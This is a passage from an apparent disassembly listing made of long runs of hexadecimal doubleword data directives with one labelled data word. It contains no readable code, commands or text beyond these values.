46DE0091h, 47420052h dd 331FA006h, 0DEF912AAh, 0EE820F44h, 40059CBh, 2D3B5C64h dd 0C1CCBB00h, 53CD74F9h, 2529EAACh, 10E6D87Bh, 0A3B8D100h dd 0F3217826h, 75E10106h, 90881EF1h, 7EA03B57h, 0E5FD027Dh dd 0E64A2B58h, 541FACC0h, 5AB17600h, 286D083Ah, 9AFD023Bh dd 0DCA89067h, 554729E0h, 24B0301h, 7F1AD5E6h, 391D9045h dd 0BC8A6F40h, 0E82AD0h, 14DB18EDh, 240BA65h, 9C025EFAh dd 1EB16882h, 0BDE86148h, 0E8058E0h, 528F4A19h, 49831560h dd 800252Bh, 78D475B1h, 0D5613Ah, 0E1B79DD2h, 0CC718610h dd 0D1DB8E00h, 2FDDB94Bh, 48908Bh, 8A58AE2Bh, 9835F9B1h dd 6D5DD526h, 0C7360603h, 735CE8B6h, 0FBA7005Ah, 302DDD55h dd 23EA8BFh, 80884EE1h, 37C0261Eh, 6139FA8h, 112B9FBDh dd 0D7D461Fh, 0C00FCBD2h, 0F39DC085h, 60E72F5Fh, 0FD6BE863h dd 761DA523h, 2D827224h, 82A1836Ch, 60394387h, 1C501CF8h dd 836460E9h, 772F07A6h, 0CC069DD8h, 9ADA2A00h, 4847A71Eh dd 0A46400D5h, 6D88A33Eh, 0B8027292h, 54448DB1h, 9054F7h dd 1101CD91h, 0F003B330h, 0BA95C8A7h, 0F58890C6h, 0DEAA1ED7h dd 2B1A803Ah, 8AB28F22h, 43A52100h, 1EE23F89h, 45821CF9h dd 28AFC04Eh, 99C74D9h, 0E0CC5500h, 0DAE94617h, 68801564h dd 0EF3F98A7h, 93ECC04Ah, 2500B70Ch, 832FA5FBh, 0B85D2E9Ah dd 0D2470008h, 553C50A9h, 0A4F4E506h, 0E31A7D00h, 7C3DFF09h dd 0BCC900FEh, 8A93904Eh, 0FB078B06h, 0DC2F04EDh, 1C45849h dd 420F1A53h, 708A78F8h, 75F002AFh, 0E9C88C00h, 71564083h dd 0CE370017h, 163B5A42h, 0DF00DDE4h, 7B8B452Fh, 14411Bh dd 27402555h, 0BDC17A9Ah, 0C7DEE100h, 34F45251h, 6748C089h dd 77B137BAh, 2E5CB00h, 37A1979h, 397371h, 99956896h, 98AB1E73h dd 0ADA4D000h, 4591B4E0h, 9BD80015h, 13C0E30Fh, 0AE00E86Fh dd 0E6F54F85h, 50F4B0h, 0BA5C3519h, 1C042E2Ch, 8BBF8000h dd 32E108AEh, 4D4E0993h, 5CFAC5B8h, 7BC8A39Fh, 1E45A85Bh dd 0B54000FCh, 0A95EB2DAh, 0EC0007EEh, 3F5C78ACh, 0AF1711h dd 842EEA37h, 0BF83D72h, 0AA5A1A00h, 0DAC8B1FCh, 74C600FFh dd 0EBE51C9Bh, 29039624h, 55CFB627h, 5A4FD048h, 8CB4030Dh dd 1BDE95Ch, 0A7EEC990h, 521B3800h, 0D9048935h, 0E3570068h dd 0B2777F74h, 0EDB856A2h, 0E77B1A03h, 6EEECh, 0BEB8DB78h dd 0DEA4152Ch, 499B6700h, 0CF57B7B5h, 770A008Ah, 0FDE9A242h dd 453A1929h, 86E49DF7h, 7D4E2400h, 3BBAE91h, 6C257182h dd 0FFE06237h, 0F100C7B6h, 66269899h, 0F226E2Dh, 0ED1B4C0Ah dd 45DF6C80h, 0D3000DE9h, 0DB10C1DEh, 0FC9F0736h, 1676BBh dd 9CFAFB38h, 32B38139h, 303F9A03h, 0E8997D56h, 3FD04DFh dd 93129E1Ah, 880101BCh, 0CED77867h, 26F0A256h, 0C8FA07C0h dd 90BFF90Dh, 355CEEB9h, 6C6FC100h, 120F424Dh, 6BF000E0h dd 0D25255BAh, 7E0053F9h, 58E74C69h, 1D75A59Dh, 47BDF3BEh dd 0C0276BB1h, 0FFC7241Eh, 0F9CD4501h, 1F790D4Ah, 0AD82C4h dd 0E4E16F63h, 6AD17DE8h, 59028500h, 8F07041Dh, 79530062h dd 95936FF0h, 0CC30F5F9h, 0C9E0214Dh, 0C571006Ah, 1347D834h dd 6101F9BAh, 0D3C0D617h, 9A20ABC7h, 6C7B0015h, 0DDCE4AC9h dd 5D00BA8Ch, 2989D207h, 0E078D0DCh, 28FE86h, 6F0E1036h dd 0E53407E2h, 80BD843Ch, 0CF5D13ACh, 7AB7498Bh, 0DBD700C2h dd 0EF89533Eh, 61C6F11h, 9187BA97h, 74307FA1h, 0B18502h dd 4525485Ch, 0A8F93DE6h, 8952F200h, 0B365492Dh, 7A200EA6h dd 0ACA159A4h, 0C402CE94h, 4F00645Ah, 35435C05h, 75E032h dd 935B1C8Ah, 0C1D14619h, 0C2B69600h, 5F3F0A8Fh, 6AAB00E8h dd 7225135Eh, 7B0FF603h, 0CB8643A1h, 297001Ch, 0DEC5C0h dd 0FD70B166h, 0CF1EA296h, 380D0800h, 52AE4967h, 4DC500ACh dd 0A28E27F5h, 7450EACDh, 500BFB4h, 78F9FAE5h, 3ADD259Ah dd 1A00E49Fh, 320A705Fh, 8BFA3442h, 8EACF950h, 0B5A3D41Eh dd 9112F200h, 0E569BA94h, 0D007E740h, 0E1CA0011h, 0AD713556h dd 2E0F4D3Dh, 0F25390C5h, 0FF0AE100h, 0E8B3BBh, 73203B82h dd 8E90C86Bh, 1503F3F8h, 5EFA702Bh, 427FC8F2h, 0E588C01Bh dd 6B22A06Dh, 0AEDB6100h, 7EAD42Ch, 3E41002Dh, 94F1DF33h dd 223C0EA0h, 0A31A0014h, 2C63078Bh, 59ACA105h, 328FF050h dd 817D1E44h, 87390E62h, 3A155118h, 0B3CC1903h, 0B992B6A8h dd 34C80988h, 22E5037Eh, 0E19D36C8h, 0FCAF53D8h, 0F5434200h dd 0B2D37365h, 0A85D50C7h, 501000DAh, 45BB3989h, 0E80FD018h dd 0C0417061h, 9EAC4C52h, 5670AAh, 0F1C5F068h, 0D569FBA1h dd 0BD3A5C00h db 0A4h, 9Ch word_4D4152 dw 41A5h ; DATA XREF: ___:off_42E644o dd 7250162Eh, 0FAD00AFh, 64167F98h, 0E12B60Ch, 0C9C8AAh dd 17BF2BABh, 8AC3F0E3h, 0E8BFB48h, 423DF123h, 60619055h dd 0B3BC38h, 2D5DA419h, 0C6AD309h, 450EED77h, 40E15425h dd 9E46995Ch, 0F990C08Eh, 0A4FE77DAh, 0E82C48h, 0AAC12078h dd 0FA943841h, 33194CA8h, 0B80AD100h, 0B62A6E24h, 462C1E00h dd 607E6823h, 34500022h, 706701F2h, 0C00EB89Ah, 43EFAE44h dd 90C348E8h, 3D349Ch, 3C604A80h, 89BB6B58h, 0CB220812h dd 6CB72800h, 0E9B4EAh, 1187F124h, 4E5471D0h, 7C029A00h dd 2FB5B821h, 0B3641468h, 3F28F061h, 0E92B00ACh, 45E70C8Eh dd 0B574BE8Dh, 96F48F54h, 0AC84BC6Ah, 36014212h, 906E6C88h dd 18D8A825h, 0DFA00071h, 0EDF76B7Fh, 0B338A934h, 0F4C50131h dd 71E6D6Eh, 71687020h, 9A2602DAh, 0A2E1997h, 0D75B03E0h dd 5A2A2100h, 49C0EBACh, 56CD011Fh, 0FCC98213h, 5CFFD44Ah dd 24387000h, 7B65126Bh, 395D14B7h, 6700FC20h, 0B4C2F52Eh dd 9D04B59Fh, 565357CCh, 0C8F90493h, 80B13381h, 0FF005FFDh dd 23571BB3h, 72AF8927h, 0F5EABBh, 84A9C5B1h, 282A0C55h dd 518DB200h, 0AF6E59A1h, 0F7771Eh, 0D8F1E94Bh, 652F0892h dd 0C4EA4210h, 6BD6D508h, 0AAC2A60Eh, 4A00D378h, 0EA0B1794h dd 97980035h, 72B082C0h, 0EB00A9B6h, 0D3056A9Ch, 781F1B4h dd 3995AF4Eh, 679DA0A4h, 0A928E1ECh, 0F778FCFCh, 0FFF4C150h dd 17BCDF00h, 4E561D8h, 49307531h, 0C90AD81Ah, 80D8843Fh dd 0C343E42Dh, 0A70085C5h, 4F2115ADh, 0FEF4DAh, 23F182Ch dd 4764058Ah, 1445F507h, 83D0FB46h, 1A549EDh, 0E6F0B174h dd 483F1CC7h, 87099690h, 20E58898h, 3B15F78Ch, 61D70041h dd 669E5967h, 0D490B15Eh, 0F2A71E24h, 8303AC16h, 7488FF0h dd 0C73BD1A8h, 0B9320CAh, 6A000310h, 0F5AB9873h, 1050CBDh dd 0E4310EA8h, 7052BC78h, 0D50061BEh, 6536F6B4h, 0E92D58h dd 0E684D210h, 0AD720575h, 7E101CB0h, 0BB8083D6h, 85F8A2D7h dd 68CC49h, 0BFB56BFEh, 17123DDh, 5E5709C4h, 0F43AA220h dd 2138AB1Dh, 7C6D0030h, 4FB0108Bh, 73B092C7h, 0B4BE55F8h dd 4426D0h, 2C88389h, 0CBE26428h, 77B63401h, 0BA3FCD13h dd 8E53D8h, 9B6686E8h, 0CA635AA4h, 301F7500h, 0B1B0625Fh dd 0A4B302Bh, 0AE317361h, 0E76D8E00h, 29757B27h, 0FC0428A5h dd 49C83768h, 8B8A60C9h, 65006F0Ch, 789AABA4h, 2457AACFh dd 39E8EE0Eh, 152B7F00h, 0A7205C59h, 0C0C9224h, 0C01C8080h dd 727338Fh, 6E1F1056h, 0AF6600E1h, 80EF9DFh, 46C38DCh dd 3D80615Ah, 46160Dh, 96017B55h, 60D41071h, 0A4826A00h dd 0C178525Ch, 764807ECh, 50F69175h, 0D6504ED1h, 53974C00h dd 30DCA863h, 57A60049h, 37A4CE59h, 0C10F7379h, 630A038Ch dd 0C84C47C0h, 75A845h, 55D4049Ah, 0D6789DAAh, 128EEF00h dd 26EB7C71h, 95DB3CB5h, 20FC0E7Bh, 3D402743h, 15B9490Eh dd 2AEC2D00h, 0BBB1B786h, 23170035h, 6A8D631h, 6F3FE790h dd 0BF189C4Eh, 307026Eh, 0B7C01619h, 0A3507Ah, 604205E8h dd 0AADFDA8Eh, 0D9833B00h, 0B2E6AF25h, 0D1F301AEh, 15C985B5h dd 0FC1D739h, 262AC0DDh, 80DAE81Fh, 0AD7E2500h, 0F01987Bh dd 94B15FD8h, 83DB56C1h, 0CF0DFCABh, 9A4F900h, 0CBDD77A3h dd 5767B66h, 2FBC5082h, 0B2A480EFh, 0EC00DAC5h, 7F22A2EBh dd 0D4286Dh, 0C403E45Bh, 8CA76E8Dh, 9F95EF00h, 1290DE8Fh dd 0AD8400B4h, 0C2D4D64h, 0F928D01Ah, 1C009C0Dh, 6921D530h dd 97A2226Bh, 0DB101460h, 0C5C9100h, 8B6F4CAFh, 0A63A0FF8h dd 0FD60E129h, 2E64DB54h, 4B094100h, 32CB8E68h, 4435260Ah dd 80561DEAh, 8AFA96BBh, 810741C8h, 9ECB502Bh, 29BC55F1h dd 384B92C4h, 0C98006C6h, 2B033673h, 0F800F314h, 56DE9CE4h dd 0DA7B1h, 0E63BCAA6h, 74E8E1BFh, 0E49E88A1h, 9860C256h dd 0EC018F28h, 0E5B50090h, 0DA090289h, 0A900156Eh, 709B6419h dd 1FC53788h, 8ED099h, 0DF9683C1h, 823AE46Dh, 0E10CFF43h dd 217F7C81h, 0BEE82D64h, 0BA069C74h, 0EEB78h, 88FFD97Eh dd 3779BB33h, 89E3FC00h, 752DE720h, 54A9050Dh, 0AC6DA1CEh dd 9B782639h, 0AFD76B00h, 3028E2D4h, 8060B1CBh, 8E0977BFh dd 80721D1Ah, 0EE214000h, 0F097BA9h, 0D3A526B7h, 7A92E986h dd 2F225000h, 1695CDE2h, 0DA060FFDh, 0F300AC49h, 9164E7EFh dd 2D01B024h, 11D84C0Ch, 0F63B0024h, 5CDACEC7h, 5F001830h dd 0A1CC1AE2h, 4CA645D9h, 0DB00498Fh, 0E0B25C9Ch, 6100FBA3h dd 0B1915002h, 0DCA07Fh, 0BEF23FD6h, 358937Dh, 0CFF5FC03h dd 0C32F539Fh, 6B04C823h, 0E78700CBh, 9CAA27BAh, 0BC00C5D7h dd 813786FBh, 0FDC361Eh, 0E5452971h, 0BD7C5160h, 4673FEB2h dd 8420431Fh, 0B71F4A80h, 0B5C7941h, 0FE74F57Dh, 0B8FD2600h dd 0DA01551Ah, 54C5E1C1h, 0E1EED523h, 0BC4034A6h, 0BDEB82h dd 8C2D09FAh, 0AF94C3B7h, 0AD8E0600h, 0D7F98037h, 11EC003Dh dd 0B9B65BBCh, 4C397CFBh, 51326048h, 24DA051Bh, 8E302B8Bh dd 0D387C2A8h, 6261D186h, 6F308187h, 0FE4499E1h, 889824h dd 42A65F70h, 0B12419B4h, 8001293Fh, 35444EBFh, 7165694Bh dd 0CDE079h, 6D4737FCh, 1AEDF438h, 0A0D6741Fh, 0D2001B17h dd 83FF0778h, 54972435h, 9C960094h, 0E62D23EEh, 0A211D700h dd 0B9A5DDC2h, 8332078Dh, 0B0D0FD90h, 0F42E69ADh, 4610C300h dd 0AC3F1350h, 2ADE0088h, 75C28FF6h, 9676DA83h, 0CA89CF00h dd 0DDF3BEECh, 0A2D81DD5h, 0D5E80A7h, 62E211AFh, 48C9DC00h dd 0BCA4830Ah, 0B07C004Ch, 76ACC13Bh, 0F901FD8Bh, 0B95B3A8Dh dd 7DF0E9C7h, 0C9AC39Fh, 63F29812h, 9D0044F0h, 899A34A2h dd 3B880255h, 0E402FC29h, 772AB5E1h, 2804B480h, 62267DABh dd 19807090h, 0EAE6C186h, 8BC02E9h, 0D85B6054h, 589F41DFh dd 8BA0A740h, 369403EAh, 0E591B380h, 51F83602h, 60176CBCh dd 47E06Ch, 0A76B2199h, 0F82931ACh, 0A1E9D11Eh, 0B27826C0h dd 46A274h, 0B70DDDE6h, 0A5F9CB9Ch, 8903Bh, 5379254h, 2C3CF3EEh dd 81009FA6h, 0DC56DF38h, 0AD1770AAh, 0CFED800h, 0A47DCA20h dd 7F5802C1h, 2F460EA7h, 0C3F9F440h, 945AA800h, 5064FDB7h dd 0C2DA00ECh, 7A5B8416h, 6007D1EBh, 3B04A852h, 3A4C8540h dd 0F1CC04E7h, 822C553Ch, 38401970h, 5DEEACD1h, 34AEBA00h dd 96EE51A4h, 487333h, 2CDA865Ah, 0A51AAA37h, 59AF9506h dd 2CA49E08h, 18E356C1h, 3A3210B7h, 4C801300h, 631B4ACAh dd 9818D4B4h, 7165DF01h, 0F09DFCA7h, 7A0025DBh, 2454BDA4h dd 89DE6Eh, 59173EEh, 19874EB1h, 7748BC0Eh, 2EC00FBh, 0A5DF92h dd 0AFC0305Bh, 9EDC0A58h, 0BD1C1600h, 0C9CDCE85h, 2C500420h dd 0FEEB137Eh, 64442AC0h, 0DF605089h, 36F3025Eh, 83288147h dd 0D4CD80A0h, 6B000162h, 1EF5075Ch, 3DDEC4h, 57D57E37h dd 9E7B6FB8h, 0D4A31A00h, 7C2AA13Fh, 0B522001Ch, 62D9031Bh dd 0FD0B8A14h, 8634D283h, 66831h, 0A759B9DEh, 0CAC7D45Eh dd 70AA84A0h, 53C0D904h, 1880EDB0h, 7EB400Ch, 931B992h dd 25C5C0F5h, 86F204D4h, 71647707h, 50E0335Fh, 0F47839Ah dd 0D2F3B7BDh, 0E3C84340h, 2809DEB9h, 808AE017h, 0C7567371h dd 0ACE664h, 2E91D996h, 6D2218C3h, 7FEF9907h, 0C0BFB0C5h dd 0CC01ECFEh, 2BBB004Dh, 7EA28A87h, 0F400BE1Fh, 0DB7DEFE4h dd 34A6744h, 400E3E98h, 20CF33DFh, 0CFBD1AFh, 860E100h dd 34FD1BDEh, 0C74A39FFh, 91BE2480h, 7D8022EDh, 5488F3Ch dd 9BBB4E8Ah, 1AD928C0h, 7189AA7h, 2BDAB617h, 8E8CA0FDh dd 34090508h, 80CCA097h, 7B5B4F0Dh, 28A94CD0h, 80D4191Eh dd 4258C201h, 9654C391h, 51F72E4h, 0AE00CC03h, 249FFAE4h dd 34F805A7h, 0C2E652E1h, 1C800C5Dh, 0C3390A7Dh, 4E7BAC03h dd 54509Ch, 680B02E8h, 0F8C9B3D2h, 24E30500h, 1A9DB122h dd 84630418h, 0C08D0908h, 617E4330h, 0F718E877h, 138969C2h dd 96683EA5h, 0BC0274D8h, 0CCF78BEBh, 1FA310A4h, 0E8E47CA0h dd 0C32E886h, 820136ABh, 3A2C8C28h, 0B1804030h, 43A56141h dd 0E09E8DEh, 6845226Dh, 0C9C764Fh, 2C286970h, 6E39F418h dd 3450E969h, 1608C49h, 5E859210h, 493010C4h, 2AE788Eh dd 0B94CD172h, 5486C1F7h, 608E201Bh, 280095A2h, 0B8C999EAh dd 0D2BB0F00h, 0FC5B72DEh, 1E67018h, 88CB3759h, 0F80FB4F9h dd 76002AC8h, 418C86C0h, 0CF8B7h, 873537AEh, 0F39DA99Eh dd 7AFC1B00h, 0B1A13234h, 5580005Ah, 0B1C6401h, 82015220h dd 0CAC215DAh, 7EE03AACh, 28100730h, 0C796321Ch, 0F9841307h dd 0ED23DE90h, 0AB994B00h, 0A45D563h, 0F73200C1h, 3F2C8F05h dd 380F0B82h, 40478E56h, 4D573A7Ah, 0FEEFA8Ch, 0F942B319h dd 8F2B85C0h, 0F600CB0Eh, 0E4DB9E9Ah, 828884h, 0E6C467EDh dd 4AAFEADh, 0B390B179h, 4DEB5A00h, 0A8BF1B17h, 2A4C1F78h dd 9D3007ECh, 2989C256h, 63BCECA0h, 9002D8E9h, 0EC586CEBh dd 0E759E020h, 2E9D0C1Eh, 1D4124BFh, 2C80A000h, 0A4BD0D8Fh dd 55C08379h, 47005248h, 304CB9ECh, 0E94D41F4h, 0B0A81040h dd 0BADD002Dh, 7E031564h, 0BE7A6F63h, 9C0C801Ah, 0D38A190h dd 0D0314F81h, 5072708Fh, 17572B20h, 7440FB8Ah, 0CFF802h dd 0EE56B405h, 91217D97h, 77C39E00h, 74B19D3Ch, 0C56030E8h dd 0F8D9A438h, 5601A078h, 4680BB6Bh, 718E020Dh, 0BF42AB6Dh dd 5040B9E4h, 8CCA98Ch, 43210Ah, 0E0CA6DA3h, 0E8EADF66h dd 0D339504h, 36009D98h, 253B1B13h, 37C803Dh, 0D2DE6F0Ah dd 0DB07C39Ch, 0BEC80564h, 3E15B7h, 994F879Ch, 0EEF872DCh dd 0A03ACD00h, 0AAB45B7Ch, 35BB0E6h, 0F28A906Ah, 0FFA87E5Dh dd 190E7DD8h, 0A0E75491h, 0C29C5EE6h, 0CC970055h, 0D9B7377Bh dd 513F0AEEh, 6BC30026h, 6A92792Fh, 58F888h, 15FAA369h dd 5C7B7525h, 0FD944500h, 0ECF6D299h, 3C2816AEh, 10AF0065h dd 0CDD9EB14h, 0FBF228C0h, 0EA785F38h, 0F4A2A081h, 0ACD324B9h dd 7D803FB9h, 5CC51DE5h, 3E0145CDh, 4EC24FA5h, 41C0DCF8h dd 48A0671Fh, 8A20C097h, 0B801BED7h, 0D8AA48DDh, 470AE9Eh dd 0CD53015Eh, 3D24C7ACh, 9FA5C869h, 830657Fh, 0CE16985Dh dd 116B00D1h, 2ADF1DF1h, 0DE70E2A1h, 8202D60h, 1FB863D7h dd 60CD86h, 0F130CB2Fh, 0AECDD46h, 1208B300h, 0DC9E7C81h dd 3E1E48AFh, 0ABD23A00h, 46F63BEAh, 0D7528E03h, 0D0C6EE25h dd 0A58DB2h, 2114DD27h, 50DC5A5Ch, 72C5E03h, 9BCDCBD7h dd 2813C020h, 812F002Eh, 7D70E52Dh, 4A2C7EF5h, 0C907C271h dd 60DF62AEh, 0F70D035Ah, 0A66B002Ch, 589A05A9h, 6907CF51h dd 5D574C2Dh, 0F771D1E0h, 96F10062h, 82CDAEF2h, 28F02246h dd 8145D300h, 0A9B93317h, 852937FDh, 5504DAD0h, 88FE03DCh dd 0AC73B38Fh, 40802FA9h, 59914510h, 369628C0h, 177684D3h dd 1D0E08F0h, 0B41A038Bh, 28109331h, 72119A5Bh, 8BC21A8h dd 0AD90A958h, 0C044A188h, 12AD9821h, 0DB751059h, 0BF087489h dd 11554284h, 7821DAF0h, 90AE8708h, 0D63E8441h, 0E2446C48h dd 125A9D21h, 83011A0h, 9814426h, 0D22C28A0h, 93102489h dd 441FE37Eh, 4600DF3Eh, 5EAEDEFAh, 0C73700E2h, 0D4E90F2Dh dd 7E00C267h, 8ED74B15h, 0F885A9h, 0F4771C3Ch, 0D9E705Bh dd 0ED07C4F4h, 73F34F2Ah, 4703BBB7h, 40C9F1CDh, 0DDC6D4h dd 0B00AE4AFh, 0C33119ECh, 0C0B7E00h, 27EF20B5h, 0B87DF89Fh dd 0CD620029h, 79663C2Eh, 4000EB53h, 932BC81Ah, 98B548h dd 70B223F3h, 2F323EC5h, 0F800DC79h, 68197D8h, 7B68BCAh dd 0F7C2C4BAh, 7ECE00E1h, 0AF009592h, 8596367Bh, 0E4CAB5FAh dd 72090290h, 278E8FEFh, 187F4068h, 0D87B300h, 0CDD69FF2h dd 4B80008Bh, 96A49570h, 17005F08h, 2004BAE2h, 0BC7E0D6h dd 8154303Eh, 0A7EA5B00h, 0BD005028h, 1435BF7h, 1CF2EC45h dd 92911BE0h, 9068402Eh, 0F873B886h, 0BC41E91Dh, 68CF7140h dd 7316D889h, 3EFB0051h, 12E2DB49h, 4303D46Ah, 56059F2Fh dd 0FC52A0E8h, 0C210C057h, 971CFD11h, 0B12D800h, 0ECE1DCDh dd 27E500E7h, 7A762D23h, 52003F93h, 72A69BC2h, 88EEE2h dd 3338710Ch, 37CB5D9Fh, 0F1168300h, 9C1B878h, 3A3E00C4h dd 0E422F597h, 240018D6h, 0C057FF50h, 7CA12h, 48F44D36h dd 44694656h, 3E07CDEAh, 60B0DE2Fh, 229AC08Fh, 90DC83h dd 0D5B2EB18h, 7DE94D88h, 1E519E00h, 43BEA437h, 0BD4F0093h dd 6B498369h, 18053E97h, 6CE2A274h, 0AE4CCC00h, 1A68B4Fh dd 0B96B8341h, 0DFC4D511h, 88FF6FC8h, 4BA21A00h, 3B634CEAh dd 5DB800AAh, 0DBC65446h, 0D23994E9h, 618B007Eh, 0D6C73A3Dh dd 0D1A00013h, 3714E8Ah, 83035786h, 81BC492Eh, 0B3B88060h dd 2C133EBFh, 7A6C94D0h, 12821B8Fh, 0E1E01050h, 0E400B1F5h dd 3179BA2Bh, 29F018Fh, 370B505Bh, 5060831Ah, 8491CC9Ah dd 6EDE3B00h, 1C65E1h, 190DDACEh, 0FBEF916h, 47D8E550h dd 0C42E5B00h, 0D0389FC6h, 0A48224EBh, 396F0087h, 2464072Ah dd 0F4B14600h, 6755A0ECh, 5E710061h, 0B2B5F7F1h, 0E0BDACBDh dd 18232CDh, 41E27A1Bh, 707547CCh, 273F374Dh, 0FF611D86h dd 3D382E00h, 31C9E6Bh, 0BA902666h, 89805892h, 941F6A70h dd 0D8055D55h, 0DE07A7C9h, 0AC5021E3h, 13B1B2Dh, 2733051Fh dd 0D42483F8h, 391E652Ah, 0D4405963h, 5EC3D84Dh, 31A40930h dd 0D8801126h, 0C1A65218h, 9B226E00h, 72B32B3Ch, 0DC0C00AAh dd 9DFAF9ABh, 6D0053F8h, 7F9738E2h, 0EB10D92h, 0A2A390A4h dd 6AB7EF40h, 0B604595Dh, 0F03AFF39h, 0C5573CC0h, 334926C0h dd 0D7848060h, 8DD48B68h, 7D260700h, 3A19370h, 5C5602BBh dd 2EA5CE84h, 3ADCA440h, 0B8CB3000h, 0B1671EB0h, 0DD180008h dd 0A69A8F2Dh, 63D7D5Bh, 708D81ABh, 25685638h, 709F4h dd 6B5A3AB4h, 95D9887Dh, 0D09D2401h, 0F9C4AB8Eh, 78F47A70h dd 0B4650C45h, 53403CAFh, 93081600h, 6FD69A74h, 68B0591Dh dd 61CD9400h, 5B78BA2h, 85ECE550h, 36D1500Dh, 1DF01192h dd 0A8930199h, 0E90B53C2h, 0B7886402h, 7FE62607h, 0DD057CDh dd 1EB34EC3h, 9B602Ch, 5A65813Bh, 0C200D471h, 7013F8A5h dd 0A00F5C9Ah, 9726DFDh, 0C6361EE1h, 0BEB9B880h, 0A6044613h dd 198162ABh, 9B8BBCC0h, 0F4E285h, 0F333D06Ah, 0D575A484h dd 0E020C77h, 91182755h, 7CE04814h, 17D8008Ah, 3DAB0746h dd 5D30BD35h, 45FFB068h, 6A2A0EB3h, 774E427Ah, 5669F982h dd 7009B3C0h, 67C55B1Ch, 4099C78Fh, 0A9B5CDECh, 8F900AFh dd 0B3CA3B9Dh, 6B3D912Bh, 0F0110022h, 0D6F8CC66h, 9295006Ah dd 0CD71CA2Dh, 0D2039CC1h, 3BF5128Ah, 551AC889h, 64320777h dd 2197638Fh, 2030D239h, 0B25882FAh, 0EE100E13h, 1CC36049h dd 5C8B8C61h, 0F0002824h dd 0D08E8F2h, 2E039831h, 7106C65Dh, 30F8149h, 402230h dd 0D77B2015h, 684C8336h, 0F3450805h, 8C016D9Eh, 0F625AC8h dd 26F21C64h, 8274BA35h, 84C21854h, 86ACC960h, 0BE00DB72h dd 0CA73E78Dh, 3DF72EFh, 52BFB19Dh, 96E8B846h, 0DB265A1Ch dd 9E006CA9h, 0F4A7F2CCh, 27EA0050h, 0ACAA0136h, 0FD385481h dd 3E01774Bh, 0F2252DB6h, 7080ADB5h, 7E7587E9h, 8B74A310h dd 0EDAA0660h, 3DCF6B2h, 430AAA7Bh, 75F89D99h, 3E00EF71h dd 64C96734h, 724BF1h, 0D4F5848Ch, 0CABFFC9Fh, 5DCF4200h dd 798A5680h, 1159075Eh, 80FB3A22h, 12FC1C35h, 1EF38200h dd 14176AF0h, 0C532017Bh, 69C1A5C4h, 74FCC0B9h, 20C92433h dd 1330F094h, 0D3B40042h, 3F855447h, 36000965h, 0C14FD087h dd 48C8387Eh, 0A30C3C5Bh, 7502B584h, 7659F600h, 31EA9825h dd 0FE830397h, 38BD4119h, 23799080h, 803C343Bh, 37A3761Eh dd 0E10BC69h, 8B912A42h, 0A4D182E0h, 2F74A607h, 14B3E02Ch dd 0E63A1640h, 71957AC2h, 0AD7C1DD1h, 7E3E4AFh, 842F6128h dd 676E8074h, 3900629Ah, 0FABFB047h, 1F8695h, 6CE95676h dd 32D4C551h, 0B35B6A0Eh, 255002C1h, 605840D2h, 5021FA9Fh dd 0F475BC43h, 73E40056h, 0CFA42CFh, 3F0E6A9Bh, 0E0E9C13Ah dd 4CC58303h, 0E0851256h, 9C5C0025h, 0BE8E7730h, 93945400h dd 389AB40Eh, 0C51500CCh, 0EEA04C3Ch, 8B07AD36h, 9957694Bh dd 0A603D48Ah, 0C85A0C79h, 14CD0791h, 0D836B229h, 47CB030Eh dd 0A3B9483h, 972561A8h, 4800E1F8h, 981FD1DEh, 300EFFh dd 44A0D915h, 0F73F533h, 4675F100h, 0BDE271C2h, 0ECB600E5h dd 63B4A1CCh, 320092C8h, 503D9141h, 6B174Ah, 0B0AA2A8Ch dd 0C22F4283h, 4B3F947Eh, 16D700BEh, 4D5AE676h, 0F8A918CFh dd 8839404Eh, 8CB38300h, 0FFB6131Bh, 74100F0Dh, 0CC09BC4h dd 0E0EA8775h, 0CE031A00h, 14FE1D18h, 32C1020Dh, 0B0B2203Bh dd 2F009BD0h, 65DC71A3h, 0BE83FEh, 0A7EDB785h, 6DB4F5E2h dd 3023CF00h, 9966FB3Fh, 0C17A0012h, 15193457h, 0EA00D1B1h dd 16CF9EACh, 7BEE0C4Bh, 0F15500A6h, 8EE28429h, 0DC0752B5h dd 6EAE7745h, 3A8C300h, 0F90F811h, 183F7C84h, 4821C18Fh dd 20A4A5AAh, 1D003DFAh, 735AFB60h, 185322Ah, 3FF0C4CFh dd 0C8D28193h, 6507D6A4h, 506E1924h, 0E01F6D60h, 3125129Eh dd 0F064050Bh, 7088C791h, 1F2C75FDh, 28BD6200h, 0BBC653DAh dd 20B30221h, 0E40C36FCh, 0F4F48E0h, 4407627Dh, 86692AA6h dd 3B50077Fh, 6E4B860h, 3FC300BEh, 3CEBB84h, 0C95C91D0h dd 1C8E0097h, 4207A8DFh, 786F59E6h, 6B601874h, 4015E89Ch dd 3B7F200h, 0CD8FC1DEh, 4C990036h, 4A79BF95h, 5200F86Ch dd 18F4C64Fh, 0E453598Ch, 109606C5h, 0E4AE7955h, 1D7910Bh dd 0EF438048h, 7524A3Dh, 61F01453h, 0FFE9B17Dh, 9AA8EB92h dd 0A39796Ah, 3596006Eh, 87718905h, 0DB49004Ah, 739BA943h dd 0D907E3EAh, 8E277023h, 8D28BCh, 0F903FE6Ch, 71E3A01h dd 5E205707h, 35273711h, 7F30ABB7h, 8ED4F7h, 0D293A548h dd 0E3F9150Ah, 0EA39FCEAh, 0EE4C18h, 82409FB1h, 3ED4B7Ch dd 928A0ED8h, 0C08FE1D5h, 7BECA3BDh, 325CF300h, 905F2515h dd 8C9F0094h, 0FD753776h, 410545CCh, 6399E136h, 2CE09900h dd 724DF8Ch, 8AFDDEFBh, 2C0DF65h, 0C05CE6AAh, 7E689900h dd 3F1D3E45h, 56EA00BBh, 0EBB91667h, 5B007B35h, 5F8C746h dd 4C17D2h, 0F03DAAF9h, 0E4884D6Eh, 6C089600h, 0C23FD9C6h dd 6232009Ah, 480AC14Ch, 0DD01B9A7h, 0F4D157BEh, 0CAC075ADh dd 38DEE23Eh, 80809E6Dh, 0BB342CE3h, 0B200180Ah, 0DBD7E820h dd 79DACAh, 0EC059A2Ah, 0D5192F71h, 83112B0Fh, 93294084h dd 1159713h, 0F77B691Fh, 70D80C92h, 0F57B6BAEh, 155C90Eh dd 6D734407h, 0D1D2EEC0h, 4A6200C6h, 781DBA3Ah, 0A10021BEh dd 6FE0A3D7h, 0C0030238h, 35378268h, 4CF4FD30h, 79840E07h dd 16657040h, 7D67E801h, 6CE4A69Ch, 0FCEA0059h, 0BAC2439Dh dd 5000AE24h, 49631992h, 0F42B38B4h, 0A1C40070h, 375B236h dd 4AF8CBEAh, 1314921Ch, 6DFB8879h, 8EAC002Ah, 0E0A8DD34h dd 0B259B500h, 5425657Ch, 